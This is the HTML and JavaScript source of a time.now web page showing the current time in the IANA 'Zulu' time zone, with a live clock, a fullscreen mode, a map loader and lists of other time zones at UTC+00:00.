							Upcoming Events:
						</a>
					</div>

					
						
					<a href="/events/copa-america-2026/"
						class="event-inline-link">
						Copa America 2026 Start
					</a>
					
					<a href="/events/russia-day/"
						class="event-inline-link">
						Russia Day
					</a>
					
					<a href="/events/feast-of-saint-eskill/"
						class="event-inline-link">
						Feast of Saint Eskill
					</a>
					
					<a href="/events/chaco-armistice-day/"
						class="event-inline-link">
						Chaco Armistice Day
					</a>
					

					<span>📅</span>
				</div>
				
			</div>

			<!-- DESKTOP LOGIC (Existing Promo) -->
			<!--<div class="desktop-countdown-promo d-none d-lg-block mt-2">
            <a href="/clock/">
                <i class="fas fa-clock me-2"></i> 
                <span>Need a full screen clock? Check out the official Time.now</span>
                <span class="promo-anchor" style="color: #d9534f; font-weight: 800; text-decoration: underline; margin-left: 5px;">Online Clock</span>
                <span class="ms-1">with atomic-clock precision! ⏱️</span>
            </a>
        </div>-->

		</div>
	</div>



	<!-- Script to Toggle Icon (Bars <-> X) -->
	<script>
		document.addEventListener("DOMContentLoaded", function () {
			const menuBtn = document.getElementById('menu-toggle-btn');
			const menuIcon = document.getElementById('menu-icon');
			const menuContent = document.getElementById('expandable-menu');

			// Toggle icon on click
			menuBtn.addEventListener('click', function () {
				if (menuIcon.classList.contains('fa-bars')) {
					menuIcon.classList.remove('fa-bars');
					menuIcon.classList.add('fa-times');
				} else {
					menuIcon.classList.remove('fa-times');
					menuIcon.classList.add('fa-bars');
				}
			});

			// Reset icon if menu is closed via other means
			menuContent.addEventListener('hidden.bs.collapse', function () {
				menuIcon.classList.remove('fa-times');
				menuIcon.classList.add('fa-bars');
			});
		});
	</script>








	<style>
		/* --- Breadcrumb Bar Styling --- */
		.breadcrumb-container {
			padding: 10px 15px;
			background-color: #f8f9fa;
			/* A light grey, matching your other elements */
			border-bottom: 0px solid #dee2e6;
			margin: 0 auto;
			/* Ensures it centers within the max-width */
			width: 100%;
			max-width: 1100px;
		}

		.breadcrumb {
			margin-bottom: 0;
			/* Remove default bottom margin from Bootstrap's breadcrumb */
			font-size: 0.9rem;
			/* Slightly smaller font for distinction */
		}

		.breadcrumb-item a {
			text-decoration: none;
			color: #007bff;
		}

		.breadcrumb-item a:hover {
			text-decoration: underline;
		}

		.breadcrumb-item.active {
			color: #6c757d;
			/* Muted color for the current page */

		}

		/* By default, the suffix is shown */
		.breadcrumb-city-suffix {
			display: inline;
			/* Default display behavior */
		}

		/* On smaller screens, hide the city suffix in the last active breadcrumb item.
		   Adjust the max-width value to the point where the text becomes too long.
		   575px is a common breakpoint for very small screens (like Bootstrap's 'sm' breakpoint ends).
		   You might want 767px or something custom. */
		@media (max-width: 575px) {
			.breadcrumb>.breadcrumb-item:last-child.active .breadcrumb-city-suffix {
				display: none;
			}
		}
	</style>


	<!-- ==================== BREADCRUMB START ==================== -->
	
	<div class="breadcrumb-container container">
		<nav aria-label="breadcrumb">
			<ol class="breadcrumb">
				
				
				
				<li class="breadcrumb-item">
					<a href="https://time.now/" aria-label="Home" title="Home"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="15" viewBox="0 0 24 24" fill="currentColor" style="vertical-align:-2px;"><path d="M12 3.172 2.25 11.25h2.25V21h5.25v-6h4.5v6h5.25v-9.75h2.25z"/></svg><span class="visually-hidden"> Home</span></a>
				</li>
				
				
				
				
				<li class="breadcrumb-item">
					<a href="https://time.now/iana-time-zone/">IANA Timezones</a>
				</li>
				
				
				
				
				
				<li class="breadcrumb-item active" aria-current="page">
					
					
					
					

					
					

					Zulu
					
				</li>
				
				
			</ol>
		</nav>
	</div>
	
	<!-- ===================== BREADCRUMB END ===================== -->



	

	





	
	

	
	



	
	
	

	
	



	

	



	
	
	
	







	
	



	<!-- ========================================== -->
	<!-- START: TOP AD INJECTION CONTAINER          -->
	<!-- ========================================== -->


	<!-- ========================================== -->
	<!-- START: SMART TOP AD / FALLBACK SYSTEM      -->
	<!-- ========================================== -->
	<div id="top-ad-placement" class="top-ad-container ads-container">

		<!-- This is visible BY DEFAULT -->
		<div id="house-ad-fallback-wrapper">
			<a href="/premium/" class="house-ad-fallback" style="background-color: #fffacd;">
				<span class="desktop-text">⭐ <strong>Support Time.now:</strong> Join our <u>Premium Plan</u> for an ad-free experience!</span>
				<span class="mobile-text">⭐ <strong>Support Us:</strong> Go Premium Ad-Free!</span>
			</a>
		</div>

		<!-- Your Advertisers (AdSense/Prebid) will inject their code right here -->
		
	</div>

	<script>
		(function () {
			var container = document.getElementById('top-ad-placement');
			var fallback = document.getElementById('house-ad-fallback-wrapper');
			if (!container || !fallback) return;

			// --- 1. DEVICE SMART FALLBACKS ---
			// We update the "Support Us" message to something more specific based on the device
			var userAgent = window.navigator.userAgent || window.navigator.vendor || window.opera;
			var isIOS = /iPad|iPhone|iPod/.test(userAgent) || (navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1);
			var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);

			if (isIOS) {
				fallback.innerHTML = `
		            <a href="https://apps.apple.com/app/id6759625108" class="house-ad-fallback" style="background-color: #f8f9fa;" target="_blank">
		                <i class="fab fa-apple me-2"></i> <strong>Best iOS Alarm App:</strong> Never miss an Alarm!
		            </a>`;
			} else if (isMobile) {
				fallback.innerHTML = `
		            <a href="/clock/" class="house-ad-fallback" style="background-color: #e3f2fd;">
		                <span aria-hidden="true">⏱️</span> <strong>Time.now Online Clock:</strong> Precision full-screen mode!
		            </a>`;
			}

			// --- 2. THE "WATCHER" (MutationObserver) ---
			// This script watches the container. If an advertiser injects an <iframe> or <ins> tag,
			// we immediately hide the fallback.
			var observer = new MutationObserver(function (mutations) {
				var elements = container.children;
				for (var i = 0; i < elements.length; i++) {
					// If there is any element that IS NOT our fallback wrapper, an ad has arrived!
					if (elements[i].id !== 'house-ad-fallback-wrapper') {
						container.classList.add('ad-is-present');
						observer.disconnect(); // Stop watching once an ad is found
						break;
					}
				}
			});

			// Start monitoring the container for changes (ads being added)
			observer.observe(container, { childList: true, subtree: true });

			// Failsafe: Stop watching after 6 seconds to save browser resources
			setTimeout(function () { observer.disconnect(); }, 6000);
		})();
	</script>
	<!-- ========================================== -->



	<!-- ========================================== -->
	<!-- END: TOP AD INJECTION CONTAINER            -->
	<!-- ========================================== -->




	
	

	<!-- Main Content -->
	<main class="container">

		

		

<div class="timezone-page-layout-container"> 

    
    <h1 class="timezone-name-heading">Current Time in IANA Zulu Timezone</h1>

    
    <div class="timezone-clock-widget"> 
        <div class="analog-clock-face-container">
            <div class="visually-hidden-clock-time" aria-live="polite" aria-atomic="true"></div>
            <svg viewBox="-50 -50 100 100" class="analog-svg-clock">
                <circle class="svg-clock-face" r="48" />
                <text class="svg-clock-number" x="0" y="-40">12</text>
                <text class="svg-clock-number" x="20" y="-34.6">1</text>
                <text class="svg-clock-number" x="34.6" y="-20">2</text>
                <text class="svg-clock-number" x="40" y="0">3</text>
                <text class="svg-clock-number" x="34.6" y="20">4</text>
                <text class="svg-clock-number" x="20" y="34.6">5</text>
                <text class="svg-clock-number" x="0" y="40">6</text>
                <text class="svg-clock-number" x="-20" y="34.6">7</text>
                <text class="svg-clock-number" x="-34.6" y="20">8</text>
                <text class="svg-clock-number" x="-40" y="0">9</text>
                <text class="svg-clock-number" x="-34.6" y="-20">10</text>
                <text class="svg-clock-number" x="-20" y="-34.6">11</text>
                <line class="svg-hour-hand" y1="2" y2="-20" />
                <line class="svg-minute-hand" y1="4" y2="-30" />
                <g class="svg-second-hand-group">
                    <line class="svg-second-hand" y1="10" y2="-38" />
                    <line class="svg-second-counterweight" y1="10" y2="2" />
                </g>
                <circle class="svg-center-dot" cx="0" cy="0" r="2.5" />
            </svg>
        </div>
        <div class="time-details">
            <div class="current-time-digital">
                <span id="mainDigitalTime">16:39:03</span>
				<span class="timezone-abbr">
				  
				  
				  

				  
				  
				    
				    
				  

				  
				  
				    <a href="/timezones/utc/"
				       title="Time now in UTC timezone">
				      UTC
				    </a>
				  
				</span>
            </div>
            <div class="current-date" id="mainDateDisplay">
                Thursday, 11 June 2026
            </div>
            <div class="fullscreen-action">
                <a href="#" id="openFullscreenOverlayLink">
                    Fullscreen <span class="fullscreen-icon">⛶</span>
                </a>
            </div>
            <div class="time-format-toggle">
                <a href="#" id="timeFormatToggleLink">Show 12-hour format</a>
            </div>
        </div>
    </div>
    <!-- END OF CLOCK WIDGET -->

    
    <div class="timezone-additional-details"> 
        <p><strong>IANA Name:</strong> Zulu</p>
        
            <p><strong>Standard Offset:</strong> UTC +00:00</p>
        
        
            <p><strong>Daylight Saving:</strong> No</p>
        
        
             <p>
                <strong>Currently Observing DST:</strong>
                
                    No <span role="img" aria-label="Red cross mark">❌</span>
                
            </p>
        
    </div>

   
    <div id="timezoneMap" class="timezone-map-container">
        
    </div>

</div> 












    <div class="related-section">
        <h2>Timezones with UTC +00:00 Offset</h2>
        <ul class="link-list three-columns-desktop">
            
            <li>
                
                <a href="/timezones/gmt/" title="Time now in GMT timezone">
                    GMT
                    
                        (Greenwich Mean Time)
                    
                </a>
            </li>
            
            <li>
                
                <a href="/timezones/utc/" title="Time now in UTC timezone">
                    UTC
                    
                        (Coordinated Universal Time)
                    
                </a>
            </li>
            
            <li>
                
                <a href="/timezones/wet/" title="Time now in WET timezone">
                    WET
                    
                        (Western European Time)
                    
                </a>
            </li>
            
        </ul>
    </div>





    <div class="related-section">
        <h2>Other IANA Timezones with UTC +00:00 Offset</h2>
        <ul class="link-list three-columns-desktop">
            
             
            <li>
                <a href="/iana-time-zone/africa-abidjan/" title="Time now in Africa/Abidjan IANA timezone">
                    Africa/Abidjan
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-accra/" title="Time now in Africa/Accra IANA timezone">
                    Africa/Accra
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-bamako/" title="Time now in Africa/Bamako IANA timezone">
                    Africa/Bamako
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-banjul/" title="Time now in Africa/Banjul IANA timezone">
                    Africa/Banjul
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-bissau/" title="Time now in Africa/Bissau IANA timezone">
                    Africa/Bissau
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-conakry/" title="Time now in Africa/Conakry IANA timezone">
                    Africa/Conakry
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-dakar/" title="Time now in Africa/Dakar IANA timezone">
                    Africa/Dakar
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-freetown/" title="Time now in Africa/Freetown IANA timezone">
                    Africa/Freetown
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-lome/" title="Time now in Africa/Lome IANA timezone">
                    Africa/Lome
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-monrovia/" title="Time now in Africa/Monrovia IANA timezone">
                    Africa/Monrovia
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-nouakchott/" title="Time now in Africa/Nouakchott IANA timezone">
                    Africa/Nouakchott
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-ouagadougou/" title="Time now in Africa/Ouagadougou IANA timezone">
                    Africa/Ouagadougou
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-sao-tome/" title="Time now in Africa/Sao_Tome IANA timezone">
                    Africa/Sao_Tome
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/africa-timbuktu/" title="Time now in Africa/Timbuktu IANA timezone">
                    Africa/Timbuktu
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/america-danmarkshavn/" title="Time now in America/Danmarkshavn IANA timezone">
                    America/Danmarkshavn
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/antarctica-troll/" title="Time now in Antarctica/Troll IANA timezone">
                    Antarctica/Troll
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/atlantic-canary/" title="Time now in Atlantic/Canary IANA timezone">
                    Atlantic/Canary
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/atlantic-faeroe/" title="Time now in Atlantic/Faeroe IANA timezone">
                    Atlantic/Faeroe
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/atlantic-faroe/" title="Time now in Atlantic/Faroe IANA timezone">
                    Atlantic/Faroe
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/atlantic-madeira/" title="Time now in Atlantic/Madeira IANA timezone">
                    Atlantic/Madeira
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/atlantic-reykjavik/" title="Time now in Atlantic/Reykjavik IANA timezone">
                    Atlantic/Reykjavik
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/atlantic-st-helena/" title="Time now in Atlantic/St_Helena IANA timezone">
                    Atlantic/St_Helena
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/eire/" title="Time now in Eire IANA timezone">
                    Eire
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-gmt/" title="Time now in Etc/GMT IANA timezone">
                    Etc/GMT
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-gmt-0/" title="Time now in Etc/GMT-0 IANA timezone">
                    Etc/GMT-0
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-gmt0/" title="Time now in Etc/GMT+0 IANA timezone">
                    Etc/GMT+0
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-greenwich/" title="Time now in Etc/Greenwich IANA timezone">
                    Etc/Greenwich
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-uct/" title="Time now in Etc/UCT IANA timezone">
                    Etc/UCT
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-universal/" title="Time now in Etc/Universal IANA timezone">
                    Etc/Universal
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-utc/" title="Time now in Etc/UTC IANA timezone">
                    Etc/UTC
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/etc-zulu/" title="Time now in Etc/Zulu IANA timezone">
                    Etc/Zulu
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-belfast/" title="Time now in Europe/Belfast IANA timezone">
                    Europe/Belfast
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-dublin/" title="Time now in Europe/Dublin IANA timezone">
                    Europe/Dublin
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-guernsey/" title="Time now in Europe/Guernsey IANA timezone">
                    Europe/Guernsey
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-isle-of-man/" title="Time now in Europe/Isle_of_Man IANA timezone">
                    Europe/Isle_of_Man
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-jersey/" title="Time now in Europe/Jersey IANA timezone">
                    Europe/Jersey
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-lisbon/" title="Time now in Europe/Lisbon IANA timezone">
                    Europe/Lisbon
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/europe-london/" title="Time now in Europe/London IANA timezone">
                    Europe/London
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/factory/" title="Time now in Factory IANA timezone">
                    Factory
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/gb/" title="Time now in GB IANA timezone">
                    GB
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/gb-eire/" title="Time now in GB-Eire IANA timezone">
                    GB-Eire
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/gmt/" title="Time now in GMT IANA timezone">
                    GMT
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/gmt-0/" title="Time now in GMT-0 IANA timezone">
                    GMT-0
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/gmt0/" title="Time now in GMT+0 IANA timezone">
                    GMT+0
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/greenwich/" title="Time now in Greenwich IANA timezone">
                    Greenwich
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/iceland/" title="Time now in Iceland IANA timezone">
                    Iceland
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/portugal/" title="Time now in Portugal IANA timezone">
                    Portugal
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/uct/" title="Time now in UCT IANA timezone">
                    UCT
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/universal/" title="Time now in Universal IANA timezone">
                    Universal
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/utc/" title="Time now in UTC IANA timezone">
                    UTC
                </a>
            </li>
             
            <li>
                <a href="/iana-time-zone/wet/" title="Time now in WET IANA timezone">
                    WET
                </a>
            </li>
            
        </ul>
    </div>





<div id="fullscreenClockOverlay" class="fullscreen-overlay">
    <div class="fullscreen-top-bar">
        <span class="fullscreen-brand-text"><a class="navbar-brand fw-bold" href="" style="color:#FFFFFF;text-decoration:none;">⏱️ Time.now</a></span>
        <div class="fullscreen-top-bar-buttons">
            <button id="toggleBrowserFullscreenBtn">Full Screen Window</button>
            <button id="exitFullscreenOverlayBtn">Exit</button>
        </div>
    </div>
    <div class="fullscreen-content">
        <p id="fullscreenItemInfo"></p>
        <div id="fullscreenDigitalTime">00:00:00</div>
        <div id="fullscreenDateDisplay">Loading date...</div>
    </div>
</div>

<script>
(function() {
    "use strict";

    // --- Clock & Time State ---
    let timeOffset = 0;
    let is24HourFormat = true;
    let currentH = 0, currentM = 0, currentS = 0, currentDateStr = "";

    // --- IANA Timezone & Formatters (Initialized once) ---
    const IANA_TIMEZONE = 'Zulu';
    const timeFormatter = new Intl.DateTimeFormat('en-CA', {
        timeZone: IANA_TIMEZONE,
        hour: '2-digit',
        minute: '2-digit',
        second: '2-digit',
        hour12: false
    });
    const dateFormatter = new Intl.DateTimeFormat('en-US', {
        timeZone: IANA_TIMEZONE,
        weekday: 'long',
        year: 'numeric',
        month: 'long',
        day: 'numeric'
    });

    // --- DOM Element References ---
    const hourHand = document.querySelector(".timezone-clock-widget .svg-hour-hand");
    const minuteHand = document.querySelector(".timezone-clock-widget .svg-minute-hand");
    const secondGroup = document.querySelector(".timezone-clock-widget .svg-second-hand-group");
    const digitalTimeDisplay = document.getElementById("mainDigitalTime");
    const mainDateDisplay = document.getElementById("mainDateDisplay");
    const visuallyHiddenEl = document.querySelector(".timezone-clock-widget .visually-hidden-clock-time");
    const timeFormatToggleLink = document.getElementById("timeFormatToggleLink");
    const openFullscreenOverlayLink = document.getElementById("openFullscreenOverlayLink");
    const fullscreenOverlay = document.getElementById("fullscreenClockOverlay");
    const fullscreenItemInfoEl = document.getElementById("fullscreenItemInfo");
    const fullscreenDigitalTimeEl = document.getElementById("fullscreenDigitalTime");
    const fullscreenDateDisplayEl = document.getElementById("fullscreenDateDisplay");
    const exitFullscreenOverlayBtn = document.getElementById("exitFullscreenOverlayBtn");
    const toggleBrowserFullscreenBtn = document.getElementById("toggleBrowserFullscreenBtn");
    
    // --- Helper Functions ---
    const getSyncedUTCDate = () => new Date(new Date().getTime() + timeOffset);
    
    function formatDigitalTime(h, m, s, use24Hour) {
        let hours = h;
        if (!use24Hour) {
            const ampm = hours >= 12 ? " PM" : " AM";
            hours = hours % 12;
            hours = hours ? hours : 12; // the hour '0' should be '12'
            return `${String(hours)}:${String(m).padStart(2, "0")}:${String(s).padStart(2, "0")}${ampm}`;
        } else {
            return `${String(hours).padStart(2, "0")}:${String(m).padStart(2, "0")}:${String(s).padStart(2, "0")}`;
        }
    }

    function updateAllDisplays() {
        // Format digital time string (respecting 12/24h toggle)
        const digitalTimeString = formatDigitalTime(currentH, currentM, currentS, is24HourFormat);

        // Update main clock displays
        if (digitalTimeDisplay) digitalTimeDisplay.textContent = digitalTimeString;
		if (mainDateDisplay && mainDateDisplay.textContent !== currentDateStr) {
		    mainDateDisplay.textContent = currentDateStr;
		}
        if (visuallyHiddenEl) visuallyHiddenEl.textContent = digitalTimeString;

        // Update analog clock hands
        const h_for_analog = currentH % 12;
        const hourPosition = (h_for_analog * 30) + (currentM * 0.5);
        const minutePosition = (currentM * 6) + (currentS * 0.1);
        const secondPosition = currentS * 6;
        if (hourHand) hourHand.setAttribute("transform", `rotate(${hourPosition})`);
        if (minuteHand) minuteHand.setAttribute("transform", `rotate(${minutePosition})`);
        if (secondGroup) secondGroup.setAttribute("transform", `rotate(${secondPosition})`);

        // Update fullscreen overlay if active
        if (fullscreenOverlay.classList.contains('active')) {
            if (fullscreenDigitalTimeEl) fullscreenDigitalTimeEl.textContent = digitalTimeString;
			if (fullscreenOverlay.classList.contains('active')) {
			    if (fullscreenDigitalTimeEl) fullscreenDigitalTimeEl.textContent = digitalTimeString;
			    if (fullscreenDateDisplayEl && fullscreenDateDisplayEl.textContent !== currentDateStr) {
			        fullscreenDateDisplayEl.textContent = currentDateStr;
			    }
			}
        }
    }
    
    function tick() {
        const now = getSyncedUTCDate();
        
        // Use formatter to get correct time parts for the IANA timezone
        const timeParts = timeFormatter.formatToParts(now).reduce((acc, part) => ({...acc, [part.type]: part.value }), {});
        
        currentH = parseInt(timeParts.hour, 10) % 24;
        currentM = parseInt(timeParts.minute, 10);
        currentS = parseInt(timeParts.second, 10);
		// --- NEW: Use formatToParts for precise date string construction ---
		const dateParts = dateFormatter.formatToParts(now).reduce((acc, part) => {
		    acc[part.type] = part.value;
		    return acc;
		}, {});
		// Manually construct the string, e.g., "Monday, May 20, 2024"
		currentDateStr = `${dateParts.weekday}, ${dateParts.day} ${dateParts.month} ${dateParts.year}`;
        
        // Update all visible elements
        updateAllDisplays();
    }

    // --- Event Listeners & Initialization ---
    function setupEventListeners() {
        if (timeFormatToggleLink) {
            timeFormatToggleLink.addEventListener("click", function(e) {
                e.preventDefault();
                is24HourFormat = !is24HourFormat;
                this.textContent = is24HourFormat ? "Show 12-hour format" : "Show 24-hour format";
                updateAllDisplays(); // Re-render time in the new format immediately
            });
        }
        
        const itemName = 'Zulu';
        const itemIANA = 'Zulu';
        if (openFullscreenOverlayLink && fullscreenOverlay) {
            openFullscreenOverlayLink.addEventListener("click", function(e) {
                e.preventDefault();
                let itemInfoText = itemName;
                if (itemIANA && itemIANA !== itemName) {
                    itemInfoText += ` (${itemIANA})`;
                }
                fullscreenItemInfoEl.textContent = itemInfoText;
                fullscreenOverlay.classList.add("active");
                document.body.style.overflow = 'hidden';
                updateAllDisplays(); // Ensure fullscreen clock is correct on open
            });
        }

        if (exitFullscreenOverlayBtn) {
            exitFullscreenOverlayBtn.addEventListener("click", function() {
                fullscreenOverlay.classList.remove("active");
                document.body.style.overflow = '';
                if (document.fullscreenElement) document.exitFullscreen();
            });
        }

        if (toggleBrowserFullscreenBtn) {
            toggleBrowserFullscreenBtn.addEventListener("click", function() {
                if (!document.fullscreenElement) {
                    fullscreenOverlay.requestFullscreen().catch(err => {
                        alert(`Error attempting to enable full-screen mode: ${err.message} (${err.name})`);
                    });
                } else {
                    document.exitFullscreen();
                }
            });
        }
    }

    async function run() {
        // 1. Setup event listeners immediately
        setupEventListeners();
        
        // 2. Do an initial render with fallback data to prevent blank elements
        currentH = parseInt('16', 10);
        currentM = parseInt('39', 10);
        currentS = parseInt('3', 10);
        currentDateStr = 'Thursday, 11 June 2026';
        updateAllDisplays();

        // 3. Sync with server time and start the accurate clock
        try {
            const response = await fetch("/api/server-time");
            if (!response.ok) throw new Error('Server time API failed');
            const timeData = await response.json();
            // Calculate the precise difference between server and client time
            timeOffset = new Date(timeData.utc_iso).getTime() - new Date().getTime();
        } catch (err) {
            console.error("Could not sync with server time. Clock will run on client time.", err);
        } finally {
            // Schedule the first tick to align with the start of the next second
            setTimeout(() => {
                tick(); // First accurate tick
                setInterval(tick, 1000); // Subsequent ticks every second
            }, 1000 - new Date().getMilliseconds());
        }
    }
    
    run(); // Start the whole process

    // --- Leaflet Map for Timezone Countries (No changes needed here) ---
    document.addEventListener('DOMContentLoaded', function() {
        if (typeof L === 'undefined') {
            console.error('Leaflet library is not loaded.');
            const mapElementForError = document.getElementById('timezoneMap');
            if (mapElementForError) mapElementForError.innerHTML = "<p style='color:red; text-align:center; padding:10px;'>Map library not loaded.</p>";
            return;
        }
        const mapElement = document.getElementById('timezoneMap');
        if (!mapElement) {
            console.error('Map element #timezoneMap not found.');
            return;
        }
        const timezoneCountryCodesOriginal = [];
        const timezoneCountryCodes = timezoneCountryCodesOriginal.map(code => code ? code.toUpperCase() : null).filter(Boolean);
        if (mapElement._leaflet_id) return;
        try {
            const map = L.map(mapElement).setView([20, 0], 2);
            L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { maxZoom: 18, minZoom: 2, attribution: '© <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors' }).addTo(map);
            const geoJsonUrl = '/static/data/countries.geojson';
            const GEOJSON_ISO_PROPERTY_CANDIDATES = ['ISO3166-1-Alpha-2'];
            const GEOJSON_NAME_PROPERTY_CANDIDATES = ['name'];
            fetch(geoJsonUrl).then(response => { if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`); return response.json(); }).then(geoJsonData => {
                const highlightedLayers = [];
                const geoJsonLayer = L.geoJson(geoJsonData, {
                    style: feature => { const featureIsoA2Upper = feature.properties?.[GEOJSON_ISO_PROPERTY_CANDIDATES[0]]?.toUpperCase(); return timezoneCountryCodes.includes(featureIsoA2Upper) ? { fillColor: '#FF8C00', weight: 1.5, opacity: 1, color: '#666', fillOpacity: 0.65 } : { fillColor: '#DDDDDD', weight: 1, opacity: 0.7, color: '#FFFFFF', fillOpacity: 0.4 }; },
                    onEachFeature: (feature, layer) => { const featureIsoA2Upper = feature.properties?.[GEOJSON_ISO_PROPERTY_CANDIDATES[0]]?.toUpperCase(); const countryName = feature.properties?.[GEOJSON_NAME_PROPERTY_CANDIDATES[0]] || "Country"; if (featureIsoA2Upper && timezoneCountryCodes.includes(featureIsoA2Upper)) { layer.bindPopup(`<b>${countryName}</b><br>Uses Zulu`); highlightedLayers.push(layer); } else { layer.bindTooltip(countryName, { sticky: false, direction: 'auto' }); } }
                }).addTo(map);
                if (highlightedLayers.length > 0) { const group = new L.featureGroup(highlightedLayers); map.fitBounds(group.getBounds().pad(0.2)); } else { map.setView([20, 0], 2); }
            }).catch(error => { console.error('Error fetching/processing GeoJSON for map:', error); mapElement.innerHTML = "<p style='color:red; text-align:center; padding:10px;'>Could not load map data.</p>"; });
        } catch (e) { console.error("Error initializing Leaflet map:", e); mapElement.innerHTML = "<p style='color:red; text-align:center; padding:10px;'>Could not load map.</p>"; }
    });
})();
</script>


	</main>


	
	

	




	
	

	




	
	
	
	

	
	
	
	


	
	
	
	

	
	
	
	






	<style>
		/* --- SHARED STYLES (Desktop & Mobile) --- */
		.footer-columns-container {
			padding-top: 10px;
			margin-top: 10px;
			border-top: 0px solid #ddd;
		}

		.footer-column {
			margin-bottom: 10px;
		}

		/* FIX: Make Main Header and Sub-Header identical in style */
		.footer-column-header,
		.footer-sub-header {
			font-weight: bold;
			font-size: 1rem;
			color: #333;
			display: block;
		}

		/* Define individual spacing for Desktop */
		.footer-column-header {
			margin-bottom: 12px;
		}

		.footer-sub-header {
			margin-top: 15px;
			/* Gap from the list above it */
			margin-bottom: 12px;
		}

		.footer-column-list {
			list-style: none;
			padding: 0;
			margin: 0;
		}

		.footer-column-list li {
			margin-bottom: 1px;
		}

		.footer-column-list a {
			color: #007bff !important;
			text-decoration: none;
			font-size: 0.9rem;
		}

		.footer-column-list a:hover {
			text-decoration: underline;
		}

		.footer-copyright-row {
			border-top: 1px solid #ddd;
			padding-top: 10px;
			margin-top: 10px;
		}

		.footer-copyright-row a {
			color: #007bff !important;
		}

		.about-calculator-now {
			margin-top: 1.5rem;
			padding-bottom: 20px;
		}

		/* STIPPLED WEBMASTER BOX */
		.webmaster-widget-box {
			border: 1px dashed #666;
			padding: 8px;
			margin-top: 10px;
			border-radius: 4px;
		}

		/* --- MOBILE ONLY STYLES (Tightened for Mobile View) --- */
		@media (max-width: 991.98px) {

			footer,
			.abovefooter {
				padding-left: 5px !important;
				padding-right: 5px !important;
				margin-left: 0 !important;
				margin-right: 0 !important;
				width: 100% !important;
			}

			.abovefooter {
				font-size: 0.9rem !important;
				line-height: 1.4 !important;
				border-bottom: none;
				margin-bottom: 0 !important;
			}

			/* Standardize Header and Sub-Header for Mobile */
			.footer-column-header,
			.footer-sub-header {
				font-size: 0.9rem !important;
				margin-bottom: 2px !important;
			}

			.footer-sub-header {
				margin-top: 10px !important;
				/* Spacing between sections on mobile */
			}

			.footer-columns-container {
				margin-top: 0 !important;
				padding-top: 0px !important;
			}

			.footer-column {
				margin-bottom: 5px !important;
			}

			.footer-copyright-row {
				margin-top: 5px !important;
				padding-top: 5px !important;
			}

			.row {
				margin-left: 0 !important;
				margin-right: 0 !important;
			}

			.footer-columns-container .col-6 {
				padding-left: 0 !important;
				padding-right: 5px !important;
			}

			.about-calculator-now {
				margin-top: 5px !important;
				font-size: 0.85rem !important;
			}
		}
	</style>
	<footer class="text-left py-1">
		<div class="container footer-columns-container">
			<div class="row">
				<!-- Column 1: Continents & Directories -->
				
				<div class="col-6 col-md-4 col-lg-2 footer-column">
					<span class="footer-column-header">World Time</span>
					<ul class="footer-column-list">
						<li><a href="/africa/">Africa</a></li>
						<li><a href="/asia/">Asia</a></li>
						<li><a href="/europe/">Europe</a></li>
						<li><a href="/north-america/">North America</a></li>
						<li><a href="/south-america/">South America</a></li>
						<li><a href="/oceania/">Oceania</a></li>
						<li><a href="/antarctica/">Antarctica</a></li>
					</ul>
					<span class="footer-sub-header">Directories</span>
					<ul class="footer-column-list">
						<li><a href="/regions/">All Regions</a></li>
						<li><a href="/countries/">Countries</a></li>
						<li><a href="/cities/">Cities</a></li>
